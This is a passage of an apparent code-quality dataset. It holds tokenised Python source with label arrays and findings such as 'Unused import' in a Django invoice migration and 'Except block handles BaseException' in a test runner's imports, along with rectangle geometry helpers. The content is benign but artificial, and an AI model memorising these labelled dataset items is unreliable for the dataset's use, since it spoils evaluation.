"]_", "-_", "a_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "(_", "b_", "[_", "1_", "]_", "-_", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "abs_", "(_", "a_", "[_", "0_", "]_", "+_", "w_", "*_", "0.5_", ")_", "#", " ", "abs", " ", "x", ",", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "abs_", "(_", "a_", "[_", "1_", "]_", "+_", "h_", "*_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "x_", "-_", "w_", "*_", "0.5_", ",_", "y_", "-_", "h_", "*_", "0.5_", "#", " ", "relative", " ", "a", ",", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "x_", "+_", "w_", "*_", "0.5_", ",_", "y_", "+_", "h_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Line", "Rel", "_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "a_", ",_", "b_", ",_", "z_", ",_", "color_", ",_", "stroke_", ",_", "rotation_", ",_", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rect_", "=_", "property_", "(_", "get", "Rect_", ",_", "set", "Rect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quad_", "=_", "property_", "(_", "get", "Quad", "_", ",_", "set", "Quad", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "property_", "(_", "get", "X_", ",_", "set", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "property_", "(_", "get", "Y_", ",_", "set", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc_", "=_", "property_", "(_", "get", "Loc_", ",_", "set", "Loc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "width_", "=_", "property_", "(_", "get", "Width_", ",_", "set", "Width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "height_", "=_", "property_", "(_", "get", "Height_", ",_", "set", "Height_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left_", "=_", "property_", "(_", "get", "Left_", ",_", "set", "Left_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "=_", "property_", "(_", "get", "Top_", ",_", "set", "Top_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right_", "=_", "property_", "(_", "get", "Right_", ",_", "set", "Right_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bottom_", "=_", "property_", "(_", "get", "Bottom_", ",_", "set", "Bottom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", "=_", "0_", ",_", "y_", "=_", "0_", ",_", "w_", "=_", "0_", ",_", "h_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "rect", "(", "self", ",", " ", "x", "=", "0", ",", "y", "=", "0", ",", "w", "=", "0", ",", "h", "=", "0", ")", "\\", "10", ";", " ", " ", " ", " ", "x", ",", "y", ",", "loc", ",", " ", "widt", "h", ",", " ", "height", "\\", "10", ";", " ", " ", " ", " ", "left", ",", "top", ",", "right", ",", "bottom", "\\", "10", ";", " ", " ", " ", " ", "quad", " ", "->", "\\", "10", ";", " ", " ", " ", " ", "--------------", "------", "\\", "10", ";", " ", " ", " ", " ", "topleft", " ", "=", " ", "quad", "[", "0", "]", "\\", "10", ";", " ", " ", " ", " ", "topr", "ight", " ", "=", " ", "quad", "[", "1", "]", "\\", "10", ";", " ", " ", " ", " ", "bottom", "right", " ", "=", " ", "quad", "[", "2", "]", "\\", "10", ";", " ", " ", " ", " ", "bottom", "left", " ", "=", " ", "quad", "[", "3", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rect_", "=_", "x_", ",_", "y_", ",_", "w_", ",_", "h_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Rect_", "(_", "self_", ",_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "x_", "=_", "r_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "y_", "=_", "r_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "width_", "=_", "r_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "height_", "=_", "r_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "r_", "[_", "2_", "]_", "*_", "0.5_", ";_", "h_", "=_", "r_", "[_", "3_", "]_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "rect_", "=_", "r_", "[_", "0_", "]_", "-_", "w_", ",_", "r_", "[_", "1_", "]_", "-_", "h_", ",_", "r_", "[_", "0_", "]_", "+_", "w_", ",_", "r_", "[_", "1_", "]_", "+_", "h_", "#", " ", "l", " ", "t", " ", "r", " ", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Rect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u\\u", "rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Quad", "_", "(_", "self_", ",_", "q_", ")_", ":_", "#", " ", "[", " ", "q", "[", "0", "][", "0", "],", " ", "q", "[", "0", "][", "1", "],", " ", "q", "[", "1", "][", "0", "],", " ", "q", "[", "2", "][", "1", "]", " ", "]", " ", "#", " ", "l", " ", "t", " ", "r", " ", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "q_", "[_", "0_", "]_", "[_", "0_", "]_", "+_", "(_", "q_", "[_", "1_", "]_", "[_", "0_", "]_", "-_", "q_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "*_", "0.5_", ",_", "q_", "[_", "0_", "]_", "[_", "1_", "]_", "+_", "(_", "q_", "[_", "2_", "]_", "[_", "1_", "]_", "-_", "q_", "[_", "0_", "]_", "[_", "1_", "]_", ")_", "*_", "0.5_", ",_", "q_", "[_", "1_", "]_", "[_", "0_", "]_", "-_", "q_", "[_", "0_", "]_", "[_", "0_", "]_", ",_", "q_", "[_", "2_", "]_", "[_", "1_", "]_", "-_", "q_", "[_", "0_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Quad", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "(_", "self_", "._", "rect_", "[_", "0_", "]_", ",_", "self_", "._", "rect_", "[_", "1_", "]_", ")_", ",_", "(_", "self_", "._", "rect_", "[_", "2_", "]_", ",_", "self_", "._", "rect_", "[_", "1_", "]_", ")_", ",_", "(_", "self_", "._", "rect_", "[_", "2_", "]_", ",_", "self_", "._", "rect_", "[_", "3_", "]_", ")_", ",_", "(_", "self_", "._", "rect_", "[_", "0_", "]_", ",_", "self_", "._", "rect_", "[_", "3_", "]_", ")_", "]_", "#", " ", "tl", " ", "tr", " ", "br", " ", "bl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "X_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "x_", ",_", "self_", "._", "y_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "X_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u\\u", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Y_", "(_", "self_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "self_", "._", "x_", ",_", "y_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Y_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u\\u", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Loc_", "(_", "self_", ",_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "p_", "[_", "0_", "]_", ",_", "p_", "[_", "1_", "]_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Loc_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u\\u", "x_", ",_", "self_", "._", "\\u\\u", "y_", "#", " ", "self", ".", "x", ",", " ", "self", ".", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Width_", "(_", "self_", ",_", "w_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "w_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Width_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u\\u", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Height_", "(_", "self_", ",_", "h_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "self_", "._", "width_", ",_", "h_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Height_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u\\u", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Left_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "x_", "+_", "self_", "._", "width_", "*_", "0.5_", ",_", "self_", "._", "y_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Left_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Top_", "(_", "self_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "self_", "._", "x_", ",_", "y_", "+_", "self_", "._", "width_", "*_", "0.5_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Top_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Right_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "x_", "-_", "self_", "._", "width_", "*_", "0.5_", ",_", "self_", "._", "y_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Right_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Bottom_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "self_", "._", "x_", ",_", "y_", "-_", "self_", "._", "width_", "*_", "0.5_", ",_", "self_", "._", "width_", ",_", "self_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rect_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Bottom_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "calc", "Polygon", "Rect_", "(_", "point", "Array_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "receive", "s", " ", "a", " ", "point", " ", "list", " ", "and", " ", "return", "s", " ", "the", " ", "rect", " ", "tha", "t", " ", "contain", "s", " ", "them", " ", "as", " ", "a", " ", "tup", "ple", " ", "->", " ", "tuple", " ", "left", ",", " ", "top", ",", " ", "right", ",", " ", "bottom", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "init", " ", "to", " ", "rid", "icul", "ously", " ", "big", " ", "values", ".", " ", "not", " ", "very", " ", "ele", "gan", "t", " ", "or", " ", "efi", "cie", "nt_", "\\u\\u\\uNL\\u\\u\\u_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", "=_", "10000000", "_", ",_", "10000000", "_", ",_", "-_", "10000000", "_", ",_", "-_", "10000000", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", " ", " ", " ", "l", " ", "=", " ", "point", "Array", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "t", " ", "=", " ", "point", "Array", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "r", " ", "=", " ", "l_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "b", " ", "=", " ", "t_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "point", "Array_", ":_", "#", " ", "calc", " ", "bound", "ing", " ", "rectangle", " ", "rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "n_", "[_", "0_", "]_", "<_", "l_", ":_", "l_", "=_", "n_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "[_", "0_", "]_", ">_", "r_", ":_", "r_", "=_", "n_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "[_", "1_", "]_", "<_", "t_", ":_", "t_", "=_", "n_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "[_", "1_", "]_", ">_", "b_", ":_", "b_", "=_", "n_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "calc", "Rect", "Center_", "(_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", ")_", ":_", "#", ",", "v", "=(", "))", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "return", "s", " ", "rect", " ", "center", " ", "point", " ", "->", " ", "x", ",", "y", "\\", "10", ";", " ", " ", " ", " ", "calc", "Rect", "Center", "(", "l", ",", "t", ",", "r", ",", "b", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", " ", " ", " ", "if", " ", "len", "(", "v", ")", " ", ":", " ", "l", ",", "t", ",", "r", ",", "b", " ", "=", " ", "v", "[", "0", "],", "v", "[", "1", "],", "v", "[", "2", "],", "v", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "l_", "+_", "(_", "(_", "r_", "-_", "l_", ")_", "*_", "0.5_", ")_", ",_", "t_", "+_", "(_", "(_", "b_", "-_", "t_", ")_", "*_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
django-bmf/django-bmf/djangobmf/contrib/invoice/migrations/0002_remove_uuid.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(migrations.Migration):\n\n dependencies = [\n ('djangobmf_invoice', '0001_version_0_2_0'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='invoice',\n name='uuid',\n ),\n migrations.RemoveField(\n model_name='invoiceproduct',\n name='uuid',\n ),\n ]", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 6 } ]
[ { "span": "from django.db import models, migrations", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 40 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", ",_", "migrations_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "migrations_", "._", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dependencies_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "django", "bm", "f", "\\u", "invoic", "e", "'_", ",_", "'", "0001", "\\u", "version", "\\u", "0", "\\u", "2", "\\u", "0", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "operations_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "migrations_", "._", "Remove", "Field_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "model", "\\u", "name_", "=_", "'", "invoic", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "uuid", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "migrations_", "._", "Remove", "Field_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "model", "\\u", "name_", "=_", "'", "invoic", "epr", "od", "uct", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "uuid", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
CleanCut/green/green/test/test_runner.py
[ { "content": "from __future__ import unicode_literals\nimport copy\nimport os\nimport platform\nimport shutil\nimport signal\nimport sys\nimport tempfile\nfrom textwrap import dedent\nimport unittest\nimport weakref\n\nfrom green.config import default_args\nfrom green.exceptions import InitializerOrFinalizerError\nfrom green.loader import loadTargets\nfrom green.output import GreenStream\nfrom green.runner import InitializerOrFinalizer, run\nfrom green.suite import GreenTestSuite\n\ntry:\n from unittest.mock import MagicMock\nexcept:\n from mock import MagicMock\n\ntry:\n from io import StringIO\nexcept:\n from StringIO import StringIO\n\n\nglobal skip_testtools\nskip_testtools = False\ntry:\n import testtools; testtools\nexcept:\n skip_testtools = True\n\n\n\n#--- Helper stuff ---\n\nglobal importable_function_worked\nimportable_function_worked = False\n\nnon_callable = None # Used by TestInitializerOrFinalizer.test_not_callable()\n\n\n#--- End of helper stuff\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def test_runCoverage(self):\n 